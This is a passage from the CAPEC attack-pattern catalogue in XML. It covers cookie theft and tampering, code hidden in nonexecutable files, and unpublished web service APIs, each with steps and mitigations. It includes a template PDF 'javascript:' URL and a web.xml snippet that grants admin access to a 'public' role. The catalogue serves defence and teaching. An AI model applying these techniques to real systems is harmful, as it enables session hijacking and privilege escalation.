			<Relevant_Security_Requirement>The callee must ensure that additional privileges are shed before returning to the caller. This avoids pinning the responsibility on an inadvertant caller who may not have a clue about the innards of the callee.</Relevant_Security_Requirement>
		</Relevant_Security_Requirements>
		<Related_Security_Principles>
			<Related_Security_Principle>Least Privilege</Related_Security_Principle>
			<Related_Security_Principle>Complete Mediation</Related_Security_Principle>
		</Related_Security_Principles>
		<Related_Guidelines>
			<Related_Guideline>Minimize privileged code blocks</Related_Guideline>
			<Related_Guideline>Shed any privileges not required to execute at the earliest</Related_Guideline>
			<Related_Guideline>Treat the Entire Inherited Process Context as Unvalidated Input</Related_Guideline>
		</Related_Guidelines>
		<Purpose>Exploitation</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>High</Confidentiality_Impact>
			<Integrity_Impact>High</Integrity_Impact>
			<Availability_Impact>Low</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<Source>
			<Submission>
				<Submitter>John Steven</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-02-10</Submission_Date>
				<Submission_Comment>Initial core pattern content</Submission_Comment>
			</Submission>
			<Modification>
				<Modifier>Chiradeep B. Chhaya</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-28</Modification_Date>
				<Modification_Comment>Fleshed out pattern with extra content</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-07</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="31" Name="Accessing/Intercepting/Modifying HTTP Cookies" Pattern_Abstraction="Detailed">
		<Description>
			<Summary>This attack relies on the use of HTTP Cookies to store credentials, state information and other critical data on client systems.  

			The first form of this attack involves accessing HTTP Cookies to mine for potentially sensitive data contained therein.
			
			The second form of this attack involves intercepting this data as it is transmitted from client to server.  This intercepted information is then used by the attacker to impersonate the remote user/session.  
			
			The third form is when the cookie's content is modified by the attacker before it is sent back to the server.  Here the attacker seeks to convince the target server to operate on this falsified information.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="Explore">
					<Attack_Step>
						<Attack_Step_Title>Obtain copy of cookie</Attack_Step_Title>
						<Attack_Step_Description>The attacker first needs to obtain a copy of the cookie. The attacker may be a legitimate end user wanting to escalate privilege, or could be somebody sniffing on a network to get a copy of HTTP cookies.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Obtain cookie from local filesystem (e.g. C:\Documents and Settings\*\Cookies and C:\Documents and Settings\*\Application Data\Mozilla\Firefox\Profiles\*\cookies.txt in Windows)</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Sniff cookie using a network sniffer such as Wireshark</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Obtain cookie from local memory or filesystem using a utility such as the Firefox Cookie Manager or AnEC Cookie Editor.</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Steal cookie via a cross-site scripting attack.</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Guess cookie contents if it contains predictable information.</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c31s1i1" type="Positive">
							<Indicator_Description>Cookies used in web application.</Indicator_Description>
							<Environments>env-Web</Environments>
						</Indicator>
						<Indicator ID="c31s1i2" type="Negative">
							<Indicator_Description>Cookies not used in web application.</Indicator_Description>
							<Environments>env-Web</Environments>
						</Indicator>
						<Outcome ID="c31s1o1" type="Success">Cookie captured by attacker.</Outcome>
						<Outcome ID="c31s1o2" type="Failure">Cookie cannot be captured by attacker.</Outcome>
						<Security_Control ID="c31s1sc1" type="Preventative">To prevent network sniffing, cookies should be transmitted over HTTPS and not plain HTTP. To enforce this on the client side, the "secure" flag should be set on cookies (javax.servlet.http.Cookie.setSecure() in Java, secure flag in setcookie() function in php, etc.).</Security_Control>
					</Attack_Step>
				</Attack_Phase>
				<Attack_Phase Name="Experiment">
					<Attack_Step>
						<Attack_Step_Title>Obtain sensitive information from cookie</Attack_Step_Title>
						<Attack_Step_Description>The attacker may be able to get sensitive information from the cookie. The web application developers may have assumed that cookies are not accessible by end users, and thus, may have put potentially sensitive information in them.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>If cookie shows any signs of being encoded using a standard scheme such as base64, decode it.</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Analyze the cookie's contents to determine whether it contains any sensitive information.</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c31s2i1" type="Negative">
							<Indicator_Description>Cookie only contains a random session ID (e.g. ASPSESSIONID, JSESSIONID, etc.)</Indicator_Description>
							<Environments>env-Web</Environments>
						</Indicator>
						<Indicator ID="c31s2i2" type="Positive">
							<Indicator_Description>Cookie contains sensitive information (e.g. "ACCTNO=0234234",  or "DBIP=0xaf112a22" -- database server's IP address).</Indicator_Description>
							<Environments>env-Web</Environments>
						</Indicator>
						<Indicator ID="c31s2i3" type="Inconclusive">
							<Indicator_Description>Cookie's contents cannot be deciphered.</Indicator_Description>
							<Environments>env-Web</Environments>
						</Indicator>
						<Outcome ID="c31s2o1" type="Success">Cookie contains sensitive information that developer did not intent the end user to see.</Outcome>
						<Outcome ID="c31s2o2" type="Failure">Cookie does not contain any sensitive information.</Outcome>
						<Security_Control ID="c31s2sc1" type="Preventative">Do not store sensitive information in cookies unless they are encrypted such that only the server can decrypt them.</Security_Control>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Title>Modify cookie to subvert security controls.</Attack_Step_Title>
						<Attack_Step_Description>The attacker may be able to modify or replace cookies to bypass security controls in the application.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Modify logical parts of cookie and send it back to server to observe the effects.</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Modify numeric parts of cookie arithmetically and send it back to server to observe the effects.</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Modify cookie bitwise and send it back to server to observe the effects.</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Replace cookie with an older legitimate cookie and send it back to server to observe the effects. This technique would be helpful in cases where the cookie contains a "points balance" for a given user where the points have some value. The user may spend his points and then replace his cookie with an older one to restore his balance.</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Outcome ID="c31s3o1" type="Success">Subversion of security controls on server</Outcome>
						<Outcome ID="c31s3o2" type="Failure">Cookie reset by server</Outcome>
						<Security_Control ID="c31s3sc1" type="Detective">Web server logs contain many messages indicating that invalid cookies were received from client.</Security_Control>
						<Security_Control ID="c31s3sc2" type="Preventative">Cookies should not contain any information that the user is not allowed to modify, unless that information is never expected to change. In the latter case, the integrity of the cookie should be protected using a digital signature or a message authentication code.</Security_Control>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>        Target server software must be a HTTP daemon that relies on cookies.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Modification of Resources</Method_of_Attack>
			<Method_of_Attack>API Abuse</Method_of_Attack>
			<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
			<Method_of_Attack>Time and State</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>There are two main attack vectors for exploiting poorly protected session variables like cookies. One is the local machine itself which can be exploited directly at the physical level or indirectly through XSS and phising. In addition, the man in the middle attack relies on a network sniffer, proxy, or other intermediary to intercept the subject's credentials and use them to impersonate the digital subject on the host. The issue is that once the credentials are intercepted, impersonation is trivial for the attacker to accomplish if no other protection mechanisms are in place.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low: To overwrite session cookie data, and submit targeted attacks via HTTP
		High: Exploiting a remote buffer overflow generated by attack</Attacker_Skill_or_Knowledge_Required>
		<Resources_Required>Ability to send HTTP request containing cookie to server</Resources_Required>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Design: Use input validation for cookies</Solution_or_Mitigation>
			<Solution_or_Mitigation>Design: Generate and validate MAC for cookies</Solution_or_Mitigation>
			<Solution_or_Mitigation>Implementation: Use SSL/TLS to protect cookie in transit			</Solution_or_Mitigation>
			<Solution_or_Mitigation>Implementation: Ensure the web server implements all relevant security patches, many exploitable buffer overflows are fixed in patches issued for the software. 		</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Information Leakage</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Data Modification</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>One of the biggest challenges in distributed systems is communicating state between the client and server. A variety of schemes have been used, the de facto standard in web application is HTTP cookies. Because these cookies tie together a client and a server through a session, they are useful to system designers and attackers. Because cookies contain remote generated content they can also contain attack payloads. 

		Cookies may contain a variety of data that servers use to enforce security policy, including session ID, cookie issuer, cookie issuance timestamp, session timeout, subject IP address, and MAC, however the HTTP server should not assume that the session cookie variables are invulnerable. They may be overwritten by the client and/or intermediaries. Cookies, like "hidden" HTML form fields, are generally assumed by developers to be invisible from a client standpoint, but in fact they are a target.
		
		From a privacy standpoint, cookies leave a digital audit trail that can violate a digital subject's privacy, cookies may persist personal information on hard drives, in browser cache, log files, proxy servers, and other intermediaries.
		
		"Because HTTP is a stateless protocol, cookies (small files that are stored in a client browser) were invented, mostly to preserve state. Poor design of cookie handling systems leaves both clients and HTTP daemons susceptible to buffer overflow attack." [Hoglund and McGraw 04]</Context_Description>
		<Injection_Vector>HTTP cookie</Injection_Vector>
		<Payload>      Malicious input delivered through cookie in HTTP Request.</Payload>
		<Activation_Zone>      Client software, such as a browser and its component libraries, or an intermediary</Activation_Zone>
		<Payload_Activation_Impact>1. Enables attacker to leverage state stored in cookie
		2. Enables attacker a vector to attack web server and platform</Payload_Activation_Impact>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>565</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>302</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>113</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>539</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>20</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>315</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>384</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>472</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>724</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>602</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>642</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Purpose>Exploitation</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>High</Confidentiality_Impact>
			<Integrity_Impact>High</Integrity_Impact>
			<Availability_Impact>Low</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
			<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-01-01</Submission_Date>
			</Submission>
			<Modification>
				<Modifier>Gunnar Peterson</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-28</Modification_Date>
				<Modification_Comment>Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software"</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-09</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Name and Description</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Amit Sethi</Modifier>
				<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
				<Modification_Date>2007-10-29</Modification_Date>
				<Modification_Comment>Added extended Attack Execution Flow</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="35" Name="Leverage Executable Code in Nonexecutable Files" Pattern_Abstraction="Standard">
		<Description>
			<Summary>An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

			The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/)
			
			http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here
			
			The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process.
			
			The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. 
				&lt; security-constraint&gt;
			     	     &lt;description&gt;
			             	Security processing rules for admin screens&lt;/description&gt;
			          	&lt;url-pattern&gt;/admin/*&lt;/url-pattern&gt;
				        &lt;http-method&gt;POST&lt;/http-method&gt;
			          	&lt;http-method&gt;GET&lt;/http-method&gt;
			     		&lt;auth-constraint&gt;
				       		&lt;role-name&gt;administrator&lt;/role-name&gt;
			          		&lt;role-name&gt;public&lt;/role-name&gt;
			     		&lt;/auth-constraint&gt;
				&lt;/security-constraint&gt;
			
			The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.</Summary>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>The attacker must have the ability to modify nonexecutable files consumed by the target software.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>Very High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Injection</Method_of_Attack>
			<Method_of_Attack>API Abuse</Method_of_Attack>
			<Method_of_Attack>Modification of Resources</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>Virtually any system that relies on configuration files for runtime behavior is open to this attack vector. The configuration files are frequently stored in predictable locations, so an attacker that can fingerpint a server process such as a web server or database server can quickly identify the likely locale where the configuration is stored. And this is of course not limited to server processes. Unix shells rely on profile files to store environment variables, search paths for programs and so on. If the aliases are changed, then a standard Unix "cp" command can be rerouted to "rm" or other standard command so the user's intention is subverted.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low: to identify and execute against an overprivileged system interface</Attacker_Skill_or_Knowledge_Required>
		<Resources_Required>Ability to communicate synchronously or asynchronously with server that publishes an overprivileged directory, program, or itnerface. Optionally, ability to capture output directly through synchronous communication or other method such as FTP.</Resources_Required>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Design: Enforce principle of least privilege</Solution_or_Mitigation>
			<Solution_or_Mitigation>Design: Run server interfaces with a non-root account and/or utilize chroot jails or other configuration techniques to constrain privileges even if attacker gains some limited access to commands.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Implementation: Perform testing such as pentesting and vulnerability scanning to identify directories, programs, and interfaces that grant direct access to executables.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Implementation: Implement host integrity monitoring to detect any unwanted altering of configuration files.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Implementation: Ensure that files that are not required to execute, such as configuration files, are not over-privileged, i.e. not allowed to execute.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Run Arbitrary Code</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Data Modification</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>"Attack Pattern: Leverage Executable Code in Nonexecutable Files

		Attackers usually need to upload or otherwise inject hostile code into a target processing environment. In some cases, this code does not have to be inside an executable binary. A resource file, for example, may be loaded into a target process space. This resource file may contain graphics or other data and may not have been intended to be executed at all. But, if the attacker can insert some additional code sections into the resource, the process that does the loading may be none the wiser and may just load the new version. An attack can then occur."		
		
		[Hoglund and McGraw 04]</Context_Description>
		<Injection_Vector>Nonexecutable files</Injection_Vector>
		<Payload>Executable code</Payload>
		<Activation_Zone>Client machine and client network</Activation_Zone>
		<Payload_Activation_Impact>Enables attacker to execute server side code with any commands that the program owner has privileges to.</Payload_Activation_Impact>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>94</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>96</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>95</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>97</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>272</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>59</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>282</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>275</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>264</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>270</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>714</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Vulnerabilities>
			<Related_Vulnerability>
				<Vulnerability_ID>
					Microsoft Security Bulletin MS04-028
				</Vulnerability_ID>
				<Vulnerability_Description>
					Buffer Overrun in JPEG Processing (GDI+) Could Allow Code Execution
				</Vulnerability_Description>
			</Related_Vulnerability>
		</Related_Vulnerabilities>
		<Related_Attack_Patterns>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>23</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>Similar</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>75</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>Similar</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
		</Related_Attack_Patterns>
		<Purpose>Exploitation</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>Medium</Confidentiality_Impact>
			<Integrity_Impact>High</Integrity_Impact>
			<Availability_Impact>Low</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-01-01</Submission_Date>
			</Submission>
			<Modification>
				<Modifier>Gunnar Peterson</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-28</Modification_Date>
				<Modification_Comment>Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software"</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-09</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Related Attack Patterns</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="36" Name="Using Unpublished Web Service APIs" Pattern_Abstraction="Detailed">
		<Description>
			<Summary>An attacker searches for and invokes Web Services APIs that the target system designers did not intend to be publicly available.  If these APIs fail to authenticate requests the attacker may be able to invoke services and/or gain privileges they are not authorized for.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="">
					<Attack_Step>
						<Attack_Step_Description>Discover a web service of interest, by exploring web service registry listings or by connecting on known port or some similar means</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>Authenticate to the web service, if required, in order to explore it.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>Determine the exposed interfaces by querying the registry as well as probably sniffing to expose interfaces that are not explicitly listed.</Attack_Step_Description>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>The architecture under attack must publish or otherwise make available services, of some kind, that clients can attach to, either in an unauthenticated fashion, or having obtained an authentication token elsewhere. 
			The service need not be 'discoverable' but in the event it isn't, must have some way of being discovered by an attacker. 
			This might include listening on a well-known port. Ultimately, the likelihood of exploit depends on discoverability of the vulnerable service.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>Medium</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Analysis</Method_of_Attack>
			<Method_of_Attack>API Abuse</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>To an extent, Google services (such as Google Maps) are all well-known examples. Calling these services, or extending them for one's own (perhaps very different) purposes is as easy as knowing they exist. Their unencumbered public use, however, is a purposeful aspect of Google's business model. Most organizations, however, do not have the same business model. Organizations publishing services usually fall back on thoughts that Attackers "will not know services exist" and that "even if they did, they wouldn't be able to access them because they're not on the local LAN." Simple threat modeling exercises usually uncovers simple attack vectors that can invalidate these assumptions.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low: A number of web service digging tools are available for free that help discover exposed web services and their interfaces. In the event that a web service is not listed, the attacker does not need to know much more in addition to the format of web service messages that he can sniff/monitor for.</Attacker_Skill_or_Knowledge_Required>
		<Resources_Required>No special resources are required in order to conduct these attacks. Web service digging tools may be helpful.</Resources_Required>
		<Probing_Techniques>
			<Probing_Technique>Probing techniques should often follow normal means of identifying services. Attackers will simply have to execute code that sends the appropriate interrogating SOAP messages to suspected UDDI services (in web-services scenarios). Attackers will likely want to detect and query the organization's SOA Registry.</Probing_Technique>
			<Probing_Technique>Probing techniques become more difficult when the service isn't advertised, or doesn't leverage discovery frameworks such as UDDI or the WS-I standard. In these cases, sniffing network traffic may suffice, depending on whether or not discovery occurs over a protected channel.</Probing_Technique>
		</Probing_Techniques>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Authenticating both services and their discovery, and protecting that authentication mechanism simply fixes the bulk of this problem. Protecting the authentication involves the standard means, including: 1) protecting the channel over which authentication occurs, 2) preventing the theft, forgery, or prediction of authentication credentials or the resultant tokens, or 3) subversion of password reset and the like.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Information Leakage</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>This pattern applies in contexts in which an organization makes services available, preferrably in a discoverable fashion. 

		Attackers can leverage web- or SOA-services available to them whether or not those services are 1) advertised by a directory, 2) themselves respond on well-known interfaces, or are 3) predictably indexed. Once identified and interfaced with, the Attacker is free to use the interface for all its spoils. In these cases, the system's designers have fallen prey to believing security by obscurity will work, or have not thought about a service's actual availability at all.
		
		Unlike more vanilla client-server interfaces, services usually publish an easy to use interface in XML (through UDDI) making reverse engineering services for use trivial.</Context_Description>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>306</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>693</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>695</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Relevant_Security_Requirements>
			<Relevant_Security_Requirement>Authenticate every request or message to a service</Relevant_Security_Requirement>
			<Relevant_Security_Requirement>Do not rely on lack of discoverability to protect privileged functions within the service</Relevant_Security_Requirement>
		</Relevant_Security_Requirements>
		<Related_Security_Principles>
			<Related_Security_Principle>Never Assuming that Your Secrets Are Safe</Related_Security_Principle>
			<Related_Security_Principle>Complete Mediation</Related_Security_Principle>
		</Related_Security_Principles>
		<Related_Guidelines>
			<Related_Guideline>Use Authorization Mechanisms Correctly</Related_Guideline>
			<Related_Guideline>Use Authentication Mechanisms, Where Appropriate, Correctly</Related_Guideline>
		</Related_Guidelines>
		<Purpose>Penetration</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>High</Confidentiality_Impact>
			<Integrity_Impact>Medium</Integrity_Impact>
			<Availability_Impact>Low</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>SOA</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
